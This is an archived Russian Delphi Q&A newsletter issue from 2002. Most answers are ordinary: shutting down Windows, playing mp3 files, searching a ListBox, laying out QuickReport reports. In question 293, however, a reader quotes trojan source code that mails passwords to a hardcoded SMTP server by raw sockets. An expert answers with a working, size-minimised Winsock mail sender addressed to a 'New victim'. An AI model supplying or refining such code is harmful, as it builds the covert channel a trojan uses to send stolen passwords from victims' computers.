Подписаться Бесплатная «Золотая» новостная рассылка . Подписчиков 3.307 RSS

←   Ноябрь 2002   →
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30

За последние 60 дней ни разу не выходила

Сайт рассылки: http://rusfaq.ru/
Открыта: 14-03-2002

Автор

Калашников О.А.

Статистика

3.307 подписчиков
0 за неделю

• Выпуски
• Статистика

←   Все выпуски   →

RusFAQ.ru: Программирование на Delphi

Информационный Канал Subscribe.Ru

---

---

RusFAQ.ru: Программирование на Delphi

Выпуск № 103
от 25.11.2002, 15:31

Администратор: Имя: Калашников О.А. URL: Информационный ресурс ICQ: 68951340 Россия, Москва

О рассылке: Задано вопросов: 303 Отправлено ответов: 533 Активность: 175.9 % [Задать вопрос >>] [Регистрация эксперта >>] [Поиск в базе] [Обсудить на форуме]

---

Список экспертов, ответы которых опубликованы в данном выпуске

Артём Шегеда Статус: Профессиональный Общий рейтинг: 116.3 URL: Пристанище неодинокого программиста [Подробней >>]	Idle Sign Статус: Опытный Общий рейтинг: 149.54 URL: Blind Team [Подробней >>]	Jadd Статус: Профессиональный Общий рейтинг: 139.64 [Подробней >>]
baldr Статус: Профессиональный Общий рейтинг: 114.36 URL: Сайт об ОС DOS. Всем, кто любит эту ОС! [Подробней >>]	Necro Статус: Доверительный Общий рейтинг: 110.5 [Подробней >>]

---

Краткий перечень вопросов

Вопрос № 292. Зравствуйте уважаемыемые эксперты программисты! Я пишу программу которая в определенное время может ... (ответов: 2)
Вопрос № 293. Здравствуйте!!!!!!!!!!!!1 Артём Шегеда продолжаем вопрос №289(надеюсь вы его не забыли) код и ссылка... (ответов: 1)
Вопрос № 295. Какой фун-й проигрывать mp3- файлы7... (ответов: 3)
Вопрос № 296. Здраствуйте эксперты! _____________________ 1) Как организовать поиск элементов в Listbox? Есть Edit... (ответов: 5)
Вопрос № 297. Здравствуйте, Скажите как вывести текст(макс.500 символов) в отчет. Скажите пожалуйста каой компоне... (ответов: 2)

---

Вопросов: 5, ответов: 13

---

Вопрос № 292

Зравствуйте уважаемыемые эксперты программисты!
Я пишу программу которая в определенное время может отключить компьютер.
Я написал почти все в этой программе: она высвечивается в Tray, в нужное время срабатывает(просто выводится Messge),
но я немогу написать самое главное: как выключить компьютер?
Подскажите пожалуюста как это сделать ?
Спасибо.

---

Вопрос отправлен: 20.11.2002, 16:20
Отправитель: Вячеслав (Ovchinnikov_1987@mail.ru)
[Следующий вопрос >>] [Список вопросов]

---

Отвечает Артём Шегеда

Здравствуйте, Вячеслав!
Попробуй поискать на сервере RusFAQ.ru
Если не поможет, поищи на MSDN:
System Shutdown Functions
How to Shut Down the System

---

Ответ отправлен: 20.11.2002, 18:44
Отправитель: Артём Шегеда

---

Отвечает Idle Sign

Добрый день, Вячеслав!
===== Pro bono publico, no bloody panico! =====
Предлагаю использовать модуль WinReboot, что в приложении.


Приложение:
unit WinReboot; (* TWinReboot component (freeware) by Barry Brannan, September 1997 (barrylb@poboxes.com) Usage: 1. Drop TWinReboot component on a form. 2. Call WinReboot1.WinExit(flags) Where flags must be one of the following: EWX_LOGOFF - Shuts down processes and logs user off EWX_REBOOT - Shuts down the restarts the system EWX_SHUTDOWN - Shuts down system The following attributes may be combined (OR'd) with above flags EWX_POWEROFF - shuts down system and turns off the power. EWX_FORCE - forces processes to terminate. Example: WinReboot1.WinExit(EWX_REBOOT or EWX_FORCE); *) interface uses Windows, Classes; type TWinReboot = class(TComponent) private function SetPrivilege(privilegeName: string; enable: boolean): boolean; public function WinExit(flags: integer): boolean; end; procedure Register; implementation procedure Register; begin RegisterComponents('Samples', [TWinReboot]); end; function TWinReboot.SetPrivilege(privilegeName: string; enable: boolean): boolean; var tpPrev, tp : TTokenPrivileges; token : THandle; dwRetLen : DWord; begin result := False; OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, token); tp.PrivilegeCount := 1; if LookupPrivilegeValue(nil, pchar(privilegeName), tp.Privileges[0].LUID) then begin if enable then tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED else tp.Privileges[0].Attributes := 0; dwRetLen := 0; result := AdjustTokenPrivileges(token, False, tp, SizeOf(tpPrev), tpPrev, dwRetLen); end; CloseHandle(token); end; function TWinReboot.WinExit(flags: integer): boolean; begin Result := True; SetPrivilege('SeShutdownPrivilege', true); if not ExitWindowsEx(flags, 0) then Result := False; SetPrivilege('SeShutdownPrivilege', False); end; end.

---

Ответ отправлен: 21.11.2002, 12:58
Отправитель: Idle Sign

---

Вопрос № 293

Здравствуйте!!!!!!!!!!!!1
Артём Шегеда
продолжаем вопрос №289(надеюсь вы его не забыли)
код и ссылка превосходные, все получилось, зделал пример на kol, прога весила 158кл, сжал, стала весить 68кл
ну это хорошо, но все равно много, я видел как то в исходнике трояна пример отсылки паролей, без подключения библиотек вообще(был тока reg для реестра) (через сокеты)
вот тот код
type
u_char = Char;
u_short = Word;
u_int = Integer;
u_long = Longint;
SunB = packed record
s_b1, s_b2, s_b3, s_b4 : u_char;
end;
SunW = packed record
s_w1, s_w2 : u_short;
end;
TSocket = u_int;
HINTERNET = Pointer;
DWORD = LongWord;
BOOL = LongBool;
WSAData = record
wVersion : Word;
wHighVersion : Word;
szDescription : array[0..256] of Char;
szSystemStatus : array[0..128] of Char;
iMaxSockets : Word;
iMaxUdpDg : Word;
lpVendorInfo : PChar;
end;
TWSAData = WSAData;
PInAddr = ^TInAddr;
in_addr = record
case integer of
0: (S_un_b: SunB);
1: (S_un_w: SunW);
2: (S_addr: u_long);
end;
TInAddr = in_addr;
PSockAddrIn = ^TSockAddrIn;
sockaddr_in = record
case Integer of
0: (sin_family: u_short;
sin_port: u_short;
sin_addr: TInAddr;
sin_zero: array[0..7] of Char);
1: (sa_family: u_short;
sa_data: array[0..13] of Char)
end;
TSockAddrIn = sockaddr_in;
TSockAddr = sockaddr_in;
UINT = LongWord;
TFileName = type string;
TFILETIME = record
dwLowDateTime : LongWord;
dwHighDateTime : LongWord;
end;
...................
const
winsocket = 'wsock32.dll';
SOCKET_ERROR = -1;
AF_INET = 2;
SOCK_STREAM = 1;
IPPROTO_IP = 0;
........................
function send(s: TSocket;
var Buf;
len,
flags: Integer): Integer; stdcall;
external winsocket name 'send';
function WSAStartup(wVersionRequired:
word;
var WSData: TWSAData): Integer; stdcall;
external winsocket name 'WSAStartup';
function socket(af, Struct,
protocol: Integer): TSocket; stdcall;
external winsocket name 'socket';
function htons(hostshort:
u_short): u_short; stdcall;
external winsocket name 'htons';
function inet_addr (cp: PChar): u_long; stdcall;
external winsocket name 'inet_addr';
function connect(s: TSocket;
var name: TSockAddr;
namelen: Integer): Integer; stdcall;
external winsocket name 'connect';
function recv(s: TSocket; var
Buf;
len,
flags: Integer): Integer; stdcall;
external winsocket name 'recv';
function closesocket(s: TSocket): Integer; stdcall;
external winsocket name 'closesocket';
.........................
MyBuf:='уыукы';
MySmtp:='194.67.57.51';
WSAStartUp(257, wsadata1);
sock:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
sin.sin_family := AF_INET;
htons(25);
sin.sin_port := htons(25);
iaddr:=inet_addr(PChar(MySmtp));
sin.sin_addr.S_addr:=iaddr;
connect(sock,sin,sizeof(sin));
recv(sock,buf,sizeof(buf),0);
{---------------Send letter------------}
SendInfToServer('HELO net.com'+#13+#10);
recv(sock,buf,sizeof(buf),0);
SendInfToServer('MAIL FROM: '+'admin@mail.ru'+#13+#10);
recv(sock,buf,sizeof(buf),0);
SendInfToServer('RCPT TO: '+Mailto+#13+#10);
recv(sock,buf,sizeof(buf),0);
SendInfToServer('DATA'+#13+#10);
recv(sock,buf,sizeof(buf),0);
SendInfToServer(MyBuf+#13+#10);
SendInfToServer(#13+#10+'.'+#13+#10);
recv(sock,buf,sizeof(buf),0);
SendInfToServer('QUIT'+#13+#10);
recv(sock,buf,sizeof(buf),0);
{---------------Send letter end---------}
closesocket(sock);
end;
вот и все...я не могу этот код реализовать, вроде прога конектиться серваком, но письма не идут, помогите мне ище раз и я от вас отстану(дайте исходник или где почитать)
пожалуйста
lamachok
кидайте туды lamachok@atnet.ru

---

Вопрос отправлен: 20.11.2002, 22:36
Отправитель: lamachok (lamachok@mail.ru)
[Следующий вопрос >>] [Список вопросов]

---

Отвечает Артём Шегеда

Здравствуйте, lamachok!

Видно, человеку очень хочется...
Ну, чтож, крови мне этот WinSock попил, но результат - налицо. 9.5К при использовании run-time packages и 47К без оных.
В Unit1 расписаны ошибки и функция их анализа:

procedure Check(GoodFunctionResult : boolean);
begin
  if not GoodFunctionResult then begin
    ShowWSAErrorMessge(WSAGetLastError);
    Abort;
  end;
end;

Так вот, вызов ShowWSAErrorMessge можно убрать.


Приложение:
program simplest; uses SysUtils, Windows, WinSock, Unit1 in 'Unit1.pas'; {$R *.RES} type PWSABUF = ^TWSABUF; TWSABUF = record len : DWORD; buf : PChar; end; WSAEVENT = THandle; PWSAOVERLAPPED = ^TWSAOVERLAPPED; TWSAOVERLAPPED = record Internal : DWORD; InternalHigh : DWORD; Offset:DWORD; OffsetHigh:DWORD; hEvent:WSAEVENT; end; TWSAOVERLAPPED_COMPLETION_ROUTINE = procedure(dwError:DWORD; cbTransferred:DWORD; lpOverlapped:PWSAOVERLAPPED; dwFlags:DWORD); function WSASend(s:TSOCKET; lpBuffers:PWSABUF; dwBufferCount:DWORD; var lpNumberOfBytesSent:DWORD; dwFlags:DWORD; lpOverlapped:PWSAOVERLAPPED; lpCompletionROUTINE:TWSAOVERLAPPED_COMPLETION_ROUTINE): integer; stdcall; external 'ws2_32.dll'; function WSARecv(s:TSOCKET; var lpBuffers:TWSABUF; dwBufferCount:DWORD; var lpNumberOfBytesRecvd:DWORD; var lpFlags:DWORD; lpOverlapped:PWSAOVERLAPPED; lpCompletionROUTINE:TWSAOVERLAPPED_COMPLETION_ROUTINE): integer; stdcall; external 'ws2_32.dll'; function WSAGetOverlappedResult(s:TSOCKET; lpOverlapped:PWSAOVERLAPPED; var lpcbTransfer:DWORD; fWait:boolean; var lpdwFlags:DWORD):boolean; stdcall; external 'ws2_32.dll'; function WSACreateEvent: THandle stdcall; external 'ws2_32.dll'; function WSAResetEvent(hEvent: THandle): Boolean stdcall; external 'ws2_32.dll'; function WSACloseEvent(hEvent: THandle): Boolean stdcall; external 'ws2_32.dll'; function WSAEventSelect(s: TSocket; hEventObject: THandle; lNetworkEvents: Integer): Integer stdcall; external 'ws2_32.dll'; const Timeout : integer = 10000; var ReadEvent : THandle; wsadata1 : WinSock.TWSAData; sock : TSocket; sin : TSockAddr; buf : array [0..1023] of char; hostent : PHostEnt; procedure SendInfToServer(s:string); var WSABUF : TWSABUF; BytesSent, Flags : DWORD; begin with WSABUF do begin len := Length(s); buf := PChar(s); end; BytesSent := 0; Flags := 0; Check(WSASend(sock, @WSABUF, 1, BytesSent, Flags, nil, nil)=0); end; function ReadSocketData(socket : TSocket; var Buffer; BufLen : DWORD; Timeout : integer) : DWORD; begin if WaitForSingleObject(ReadEvent,Timeout) <> WAIT_OBJECT_0 then Abort; Check(WSAResetEvent(ReadEvent)); Check(ioctlsocket(socket, FIONREAD, integer(Result))=0); if Result>BufLen then Result := BufLen; recv(sock,buf,Result,0); end; const SendFrom : string = 'yourname@yourdomain.net'; SendTo : string = 'somename@somedomain.net'; MySmtp : PChar = 'smtp.yourdomain.net'; MySmtpPort : integer = 25; begin try Check(WSAStartUp($202, wsadata1)=0); try sock:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP); Check(sock<>INVALID_SOCKET); try sin.sin_family := AF_INET; sin.sin_port := htons(MySMTPPort); hostent := gethostbyname(MySMTP); Check(hostent<>nil); sin.sin_addr.S_addr := PDWord(hostent^.h_addr^)^; Check(connect(sock,sin,sizeof(sin))=0); ReadEvent := WSACreateEvent; Check(WSAEventSelect(sock, ReadEvent, FD_READ)=0); ReadSocketData(sock, buf, sizeof(buf), Timeout); {---------------Send letter------------} SendInfToServer('HELO localhost'#13#10); ReadSocketData(sock, buf, sizeof(buf), Timeout); SendInfToServer('MAIL FROM: '+SendFrom+#13#10); ReadSocketData(sock, buf, sizeof(buf), Timeout); SendInfToServer('RCPT TO: '+SendTo+#13#10); ReadSocketData(sock, buf, sizeof(buf), Timeout); SendInfToServer('DATA'#13#10); ReadSocketData(sock, buf, sizeof(buf), Timeout); SendInfToServer('From: Maniac <Maniac@Hell.ORG>'#13#10'To: New victim'#13#10#13#10'HELLo!'#13#10); SendInfToServer(#13#10'.'#13#10); ReadSocketData(sock, buf, sizeof(buf), Timeout); SendInfToServer('QUIT'#13#10); ReadSocketData(sock, buf, sizeof(buf), Timeout); {---------------Send letter end---------} finally closesocket(sock); end; finally WSACleanup; end; except end; end.

---

Ответ отправлен: 22.11.2002, 19:40
Отправитель: Артём Шегеда

---

Вопрос № 295

Какой фун-й проигрывать mp3- файлы7

---

Вопрос отправлен: 21.11.2002, 12:52
Отправитель: Tik (shal@gorodok.net)
[Следующий вопрос >>] [Список вопросов]

---

Отвечает Idle Sign

Доброе время суток, Tik!
===== Pro bono publico, no bloody panico! =====
Либо ищи библиотеку для работы с форматом, либо проигрывай ассоциированной программой (e.g. WinAmp) - функция ShellExecute...

---

Ответ отправлен: 21.11.2002, 17:16
Отправитель: Idle Sign

---

Отвечает Jadd

Добрый день, Tik!
Нет такой функции. Для проигрывания файлов mp3 либо ищи компоненты, либо либы, либо пиши сам декодер mp3, благо формат известен.

---

Ответ отправлен: 21.11.2002, 14:23
Отправитель: Jadd

---

Отвечает baldr

Доброе время суток, Tik!
Можно с помощью ShellExecute вызвать приложение, связанное с этим файлом. А если нужно
проиграть его самой программой, то легче всего будет воспользоваться уже готовыми компонентами.
На www.torry.net или www.torry.ru их не может не быть!

---

Ответ отправлен: 23.11.2002, 00:37
Отправитель: baldr

---

Вопрос № 296

Здраствуйте эксперты!
_____________________
1) Как организовать поиск элементов в Listbox?
Есть Edit и Listbox
Вводишь в Edit слово ,программа ищет его в Listbox и выделяет всю строку с найденным элементом___ pomoGITE please
2)Зацените сайт (www.coder-group.narod.ru)//только его сделал =:)

---

Вопрос отправлен: 21.11.2002, 15:30
Отправитель: pcgamer
[Следующий вопрос >>] [Список вопросов]

---

Отвечает Артём Шегеда

Добрый день, pcgamer!
А TListBox.Items.Find вызывать пробовал? Но учти: это работает только на сортированных списках.

Приложение:
var index : integer; {...} begin {...} ListBox1.Items.Find(Edit1.Text,index); ListBox1.ItemIndex := index; {...}

---

Ответ отправлен: 21.11.2002, 16:21
Отправитель: Артём Шегеда

---

Отвечает Idle Sign

Здравствуйте, pcgamer!
===== Pro bono publico, no bloody panico! =====
1) см. приложение (поиск "налету")
2) у-у-у Сыровато пока...

Приложение:
procedure TForm1.Edit1Change(Sender: TObject); var i:integer; begin for i := 0 to ListBox1.Items.Count do if ListBox1.Items.IndexOf(Edit1.Text) <> -1 then ListBox1.ItemIndex := ListBox1.Items.IndexOf(Edit1.Text) else ListBox1.ItemIndex := -1; end;

---

Ответ отправлен: 21.11.2002, 17:15
Отправитель: Idle Sign

---

Отвечает Necro

Приветствую Вас, pcgamer!
Примерно так:
for a := 0 to listbox1.items.count - 1 do
if pos(edit1.text,listbox1.items.strings[a]) <> 0 then
listbox1.itemindex := a;

---

Ответ отправлен: 21.11.2002, 17:07
Отправитель: Necro

---

Отвечает Jadd

Добрый день, pcgamer!
Все очень просто. В цикле обходишь все элементы ListBox'а и проверяешь на совпадение имени. Получить текущий Item в цикле не составляет труда, а вот текст этого Item'а получается так:
SomeString := ListBox.Items.Strings[i];
где SomeString будет содержать текст Item'а

---

Ответ отправлен: 22.11.2002, 02:33
Отправитель: Jadd

---

Отвечает baldr

Добрый день, pcgamer!
Проходишь по всем элементам списка и ищешь. Поиск - тоже нетривиальная задача. Если тебе
надо просто тупое совпадение вплоть до регистра каждой буквы, то простым равенством проверяй!
В ListBox'е данные хранятся как в массиве строк. Обращаться так: ListBox1.Items[I] - это конкретная запись.
Вот не понимаю я таких "кодеров" - как только установят себе Delphi - сразу, блин, "программеры"... :( На сайте полно грамматических ошибок - я как только увидел, сразу закрыл окно. Исправляй. И вообще - ... Ну да ладно... :(

---

Ответ отправлен: 23.11.2002, 00:36
Отправитель: baldr

---

Вопрос № 297

Здравствуйте,
Скажите как вывести текст(макс.500 символов) в отчет. Скажите пожалуйста каой компонент для этого нужно использовать? Я работаю на Delphi 5 и никак не могу вывести это с помошью Qrmemo. Скажите еще как сделать так что бы каждая запись в отчете отделялась автоматически. Т.е что бы разные по размеру записи занимали соответственно разное по размеру листа место. Надеюсь вы меня понимаете.
Спасибо.

---

Вопрос отправлен: 22.11.2002, 13:42
Отправитель: dude
[Следующий вопрос >>] [Список вопросов]

---

Отвечает Jadd

Добрый день, dude!
Ну для этого есть QRLabel или QRDBLabel. Делаешь отчет по типу Master->Detail и все у тебя получится. Удачи

---

Ответ отправлен: 22.11.2002, 14:05
Отправитель: Jadd

---

Отвечает baldr

Приветствую Вас, dude!
Ну да, QRMemo... Только в TQreport надо еще и разметку сделать. У этого компонента есть
такие штуки, как поля (bands), которые тоже кидаешь на отчет, задаешь их тип (колонтитул, заголовок,
сводная строка, шаблон данных и пр) и уже на них кидаешь QRMemo, текстэдиты и пр...
В общем, суть такая: заголовок - он один во всем отчете. Колонтитулы (верхний и нижний) - на
каждой странице, а шаблон данных (извини, не помню как они называются, поэтому условно обзываю)
содержит набор компонентов, которые будут растиражированы по всему отчету для КАЖДОЙ записи из набора.
В общем, советую в доках глянуть - я сначала тоже не понял, а потом как картинку увидел - моментально въехал!

---

Ответ отправлен: 23.11.2002, 00:34
Отправитель: baldr

---

---

Форма отправки вопроса

Внимание!
Форма может работать некорректно в почтовых программах "Microsoft Outlook" и "Microsoft Outlook Express". В программе The Bat! подобные формы не работают вообще!
После нажатия на кнопку "Отправить", будет открыто второе окно. Заметьте, что в некоторых браузерах могут стоять запреты на открытие других окон, а также "чрезмерное" кэширование данных, при этом факт отправки Вашего вопроса стоит под сомнением.
Мы рекомендуем открывать рассылку в программе Internet Explorer 5.0+ или отправлять вопросы с сайта по адресу: http://rusfaq.ru/cgi-bin/Message.cgi.

© 2002 Команда RusFAQ.ru.

---

Персональные данные

Ваше имя:

Ваш e-mail:

Опубликовать мой e-mail в рассылке

---

Вопрос и дополнение

Ваш вопрос:


Приложение (если необходимо):


Получить ответов: Все ответы Не более 3-х Не более 5-и Не более 10-и

---

Выбор рассылки

Программисту Assembler (42) C / C++ (29) Perl (9) Delphi (14) Pascal (23) Basic / VBA (11) Java / JavaScript (14) PHP (10) MySQL / MSSQL (9)

Пользователю Windows 95/98/Me (33) Windows NT/2000/XP (23) "Железо" (28) Поиск информации (17)

Администратору Windows NT/2000/XP (12) Linux / Unix (17)

Юристу Гражданское право (7) Семейное право (2) Трудовое право (3) КоАП (2)

Отправить вопрос всем экспертам выбранной рассылки.

---

---

© 2002 Россия, Москва. Авторское право: RusFAQ.ru

---

http://subscribe.ru/ E-mail: ask@subscribe.ru

Отписаться Убрать рекламу

---

В избранное

{#template MAIN} <div id="loginForm" style="display:none;" class="subscriberu_popup"> <div class="popup_register"> {#include js_tmpl_auth_reg_tab} {#if $P.login_register_tab == 1} <form class="authentication-form" method="post" action="/MEMBERLOGIN_authen_cred"> <dl class="rg_block_options"> <dt id="js_tap_panel_auth"> <h1>Войти на сайт</h1> {* {#include js_tmpl_auth_reg_button} *} {#include js_tmpl_auth_reg_action} <hr class="logreg_line noPhones"> <div class="logreg_descr noPhones"><p>{#include js_tmpl_auth_reg_descr} </p></div> <div class="logreg_advice noPhones"> Если вы еще не с нами, то начните с <a href="#" onclick="rgNav('js_tab_reg');return false;" class="dashed" data-func="registr">регистрации</a> </div> <br><br> <a class="dashed auth-enter" href="/manage/author/"><b>Вход для авторов</b></a> </dt> </dl> </form> {#/if} {#if $P.login_register_tab == 2} <div class="rg_block_options"> <div id="js_tap_panel_auth"> <h1>Регистрация</h1> <div class="social_reg"> {* <div class="rg_description">{#include js_tmpl_soc_auth_reg_descr}</div> *} {#include js_tmpl_auth_reg_soc} <div class="rg_soc_auth_agree">{#include js_tmpl_auth_reg_agree}</div> </div> <div class="subscribe_reg"> {* <div class="rg_description"> #include js_tmpl_auth_reg_descr </div> *} {#include js_tmpl_auth_reg_action} </div> {* {#include js_tmpl_auth_reg_button} *} <div class="clr"> </div> <hr class="logreg_line noPhones"> <div class="logreg_descr noPhones">{#include js_tmpl_auth_reg_descr} {#include js_tmpl_soc_auth_reg_descr} </div> </div> </div> {#/if} </div> {* <div class="gray_bg register_shadow"></div> *} </div> {#/template MAIN} {#template js_tmpl_auth_reg_tab} <ul class="rg_nav"> <li id="js_tab_auth" class="{#if $P.login_register_tab == 1} rg_active_nav {#/if} rg_first_nav"><a onclick="rgNav('js_tab_auth');return false;" href="">Вход на сайт</a></li> <li id="js_tab_reg" class="{#if $P.login_register_tab == 2} rg_active_nav {#/if}"><a onclick="rgNav('js_tab_reg');return false;" href="">Регистрация </a></li> </ul> <span onclick="hidebo();" class="rg_closed"> </span> {#/template js_tmpl_auth_reg_tab} {#template js_tmpl_auth_reg_action} {#if $P.login_register_tab == 1} {#include js_tmpl_auth_reg_soc} {#/if} <div class="rg_forms"> <input type="hidden" id="login_register_destination" value="{$P.login_register_destination}"/> {#if $P.login_register_tab == 1} <div class="rg_for_input"> <span class="rg_text_inner">E-mail или код подписчика</span> <input id="credential_0" class="js_keydown_selector rg_input_text" data-js_submit="no" data-js_next_input_name="credential_1" name="" type="text" /> </div> <div class="rg_for_input"> <span class="rg_text_inner">Пароль</span> <input id="credential_1" class="js_keydown_selector rg_input_text" data-js_submit="yes" data-js_action="js_loginFormBut" name="" type="password" onkeyup="showAttention(this,!!window.event.shiftKey)" /> <span class="pswd_attention" id="attention_pswd"> <span class="icon_attention"></span> <span class="pswd_attention-text" id="attention-text_pswd1">Русская раскладка клавиатуры!</span> <span class="pswd_attention-text" id="attention-text_pswd2">У вас включен Caps Lock!</span> <span class="pswd_attention-text" id="attention-text_pswd3">У вас включен Caps Lock и русская раскладка клавиатуры!</span> </span> </div> <div class="rg_for_input input-alien"> <span class="chk noPhones"><input id="chk_alien" name="" type="checkbox" /></span><label for="chk_alien" class="noPhones"> Чужой компьютер</label> <a class="forgot_pass" href="/member/totalrecall">Забыли пароль?</a> </div> <div class="rg_for_input"> <em id="auth_msg" class="reg_error"></em> <input id="lf_typeauthid" value="email" type="hidden"> <input type="submit" class="button button-red logreg_submit" id="js_loginFormBut" value="Войти"> <!--</a>--> <div class="loading loading-cover" style="display: none;"><div class="loader"></div></div> </div> {#/if} {#if $P.login_register_tab == 2} <div class="rg_for_input"> <span class="rg_text_inner">E-mail</span> <input id="arfemail" class="js_keydown_selector rg_input_text" name="" type="text" data-js_submit="yes" data-js_action="js_regFormBut"/> </div> <div class="rg_for_input rg_set_lineh rg_for_input_wide"> <label class="js_tap_panel_checkbox"> <span class="chk"><input name="" id='js_tap_panel_checkbox_terms' type="checkbox" data-js_submit="yes" /></span> Я ознакомился и согласен с <a class="link_txd logreg_accLink" href="/faq/vereinbarung.html">условиями сервиса Subscribe.ru</a> </label> <br /> <label class="js_tap_panel_checkbox"> <span class="chk"><input name="" id='js_tap_panel_checkbox_personal' type="checkbox" data-js_submit="yes" /></span> Нажимая на кнопку "Готово!", я даю <a class="link_txd logreg_accLink" href="/faq/persverordnung.html">согласие на обработку персональных данных</a> </label> </div> {* <div style="float: left;position: absolute;left: 11em;"> <img src="http://www.kupivip.ru/images/vip/logo.png?1604" style="width: 86px; vertical-align: middle;display: block;"> </div> <div class="rg_for_input rg_set_lineh"> <label class="js_tap_panel_checkbox"><input name="" id="js_tap_panel_checkbox_kupivip" type="checkbox" data-js_submit="yes"> Я хочу получать новости о скидках на одежду</label> </div> *} <div class="rg_for_input"> <em id="reg_msg" class="reg_error rg_for_input_wide"></em> <em id="reg_msg2" class="reg_error rg_for_input_wide"></em> <input id="rf_typeauthid" value="email" type="hidden"> <a class="button button-red logreg_submit" id="js_regFormBut" href="#">Готово!</a> <div class="loading loading-cover" style="display: none;"><div class="loader"></div></div> </div> {#/if} </div> {#/template js_tmpl_auth_reg_action} {#template js_tmpl_auth_reg_agree} <div class="rg_for_input rg_set_lineh rg_for_input_wide"> <label class="js_tap_panel_checkbox"> <span class="chk"><input name="" id='js_tap_panel_checkbox_terms_reg' type="checkbox" data-js_submit="yes" /></span> Я ознакомился и согласен с <a class="link_txd logreg_accLink" href="/faq/vereinbarung.html">условиями сервиса Subscribe.ru</a></label> <em id="reg_msg_soc" class="reg_error rg_for_input_wide"></em> </div> {#/template js_tmpl_auth_reg_agree} {#template js_tmpl_auth_reg_button} <div class="rg_butons_socials"> {#if $P.login_register_tab == 1} <a class="rg_btn_soc rg_bs_01 js_tap_panel_selector" action="auth_email" href="#"><span><i></i>Email</span></a> <a class="rg_btn_soc rg_bs_01 js_tap_panel_selector" action="auth_openid" href="#"><span><i></i>OpenID</span></a> <a class="rg_btn_soc rg_bs_02 js_tap_panel_selector" action="auth_vkontakte" href="#"><span><i></i>Вконтакте</span></a> <a class="rg_btn_soc rg_bs_02 js_tap_panel_selector" action="auth_mailru" href="#"><span><i></i>Mail.Ru</span></a> {#/if} {#if $P.login_register_tab == 2} <a class="rg_btn_soc rg_bs_01 js_tap_panel_selector" action="reg_email" href="#"><span><i></i>Email</span></a> <a class="rg_btn_soc rg_bs_01 js_tap_panel_selector" action="reg_openid" href="#"><span><i></i>OpenID</span></a> <a class="rg_btn_soc rg_bs_02 js_tap_panel_selector" action="reg_vkontakte" href="#"><span><i></i>Вконтакте</span></a> <a class="rg_btn_soc rg_bs_02 js_tap_panel_selector" action="reg_mailru" href="#"><span><i></i>Mail.Ru</span></a> {#/if} </div> {#/template js_tmpl_auth_reg_button} {#template js_tmpl_auth_reg_descr} {#if $P.login_register_tab == 1} Для оформления подписки на выбранную рассылку, работы с интересующей вас группой или доступа в нужный вам раздел, просим авторизоваться на Subscribe.ru {#/if} {#if $P.login_register_tab == 2} Для регистрации укажите ваш e-mail адрес. Адрес должен быть действующим, на него сразу после регистрации будет отправлено письмо с инструкциями и кодом подтверждения. {#/if} {#/template js_tmpl_auth_reg_descr} {#template js_tmpl_soc_auth_reg_descr} Или зарегистрируйтесь через социальную сеть. {#/template js_tmpl_soc_auth_reg_descr} {#template js_tmpl_auth_reg_soc} <div class="rg_soc"> {#if $P.login_register_tab == 1} <a onclick="return _checkSocConfirm(event)" href="https://oauth.vk.com/authorize?client_id=3954260&scope=wall,offline,photos,groups,video,audio,email&redirect_uri={location.protocol+'//'+location.host}/member/login/vk/&response_type=code&v=5.15" class="login_register_vk_button"> <span class="login_register_vk_icon"></span> </a> {#/if} {#if $P.login_register_tab == 2} <a onclick="return _checkSocConfirm(event)" href="https://oauth.vk.com/authorize?client_id=3954260&scope=wall,offline,photos,groups,video,audio,email&redirect_uri={location.protocol+'//'+location.host}/member/join/vk&response_type=code&v=5.15" class="login_register_vk_button"> <span class="login_register_vk_icon"></span> </a> {#/if} </div> {#/template js_tmpl_auth_reg_soc}

{#template MAIN} <div id="loginForm" style="display:none;" class="subscriberu_popup"> <div class="popup_register"> {#include js_tmpl_auth_reg_tab} <dl class="rg_block_options"> <dt id="js_tap_panel_auth"> <p class="rg_description">{#include js_tmpl_auth_reg_descr}</p> <div class="clr"> </div> {#include js_tmpl_auth_reg_action} <div class="clr"> </div> </dt> </dl> </div> <!-- <div class="gray_bg register_shadow"></div> --> </div> {#/template MAIN} {#template js_tmpl_auth_reg_tab} <ul class="rg_nav"> <li id="js_tab_reg" class="rg_active_nav rg_first_nav"><a href="" onclick="return false;" >Регистрация</a></li> </ul> <span onclick="hidebo();" class="rg_closed"> </span> {#/template js_tmpl_auth_reg_tab} {#template js_tmpl_auth_reg_descr} <strong>Пожалуйста, подтвердите ваш адрес.</strong><br><br>Вам отправлено письмо для подтверждения вашего адреса {$P.register_confirm_mail}.<br>Для подтверждения адреса перейдите по ссылке из этого письма. {#/template js_tmpl_auth_reg_descr} {#template js_tmpl_auth_reg_action} <div class="rg_forms confirm_code_from_letter"> <div class="rg_for_input"> <span class="rg_inp_descr" style="width:15em;">Или введите код из письма:</span> <input type="text" value="" id="confirm_code" name="" data-js_submit="yes" data-js_action="js_confirmFormBut" class="js_keydown_selector rg_input_text_conf" > </div> <div class="rg_for_input"><label>Не пришло письмо? <b>Пожалуйста, проверьте папку Спам</b><br /> (папку для нежелательной почты).</label><br />  <a href="" onclick="ajax_recall_code();return false" >Вышлите мне письмо еще раз!</a></div> <div class="rg_for_input"> <em class="reg_error" id="confirm_msg"></em> <a href="#" class="button button-red" id="js_confirmFormBut">Готово</a> <div class="loading loading-cover" style="display: none;"><div class="loader"></div></div> <br> </div> </div> {#/template js_tmpl_auth_reg_action}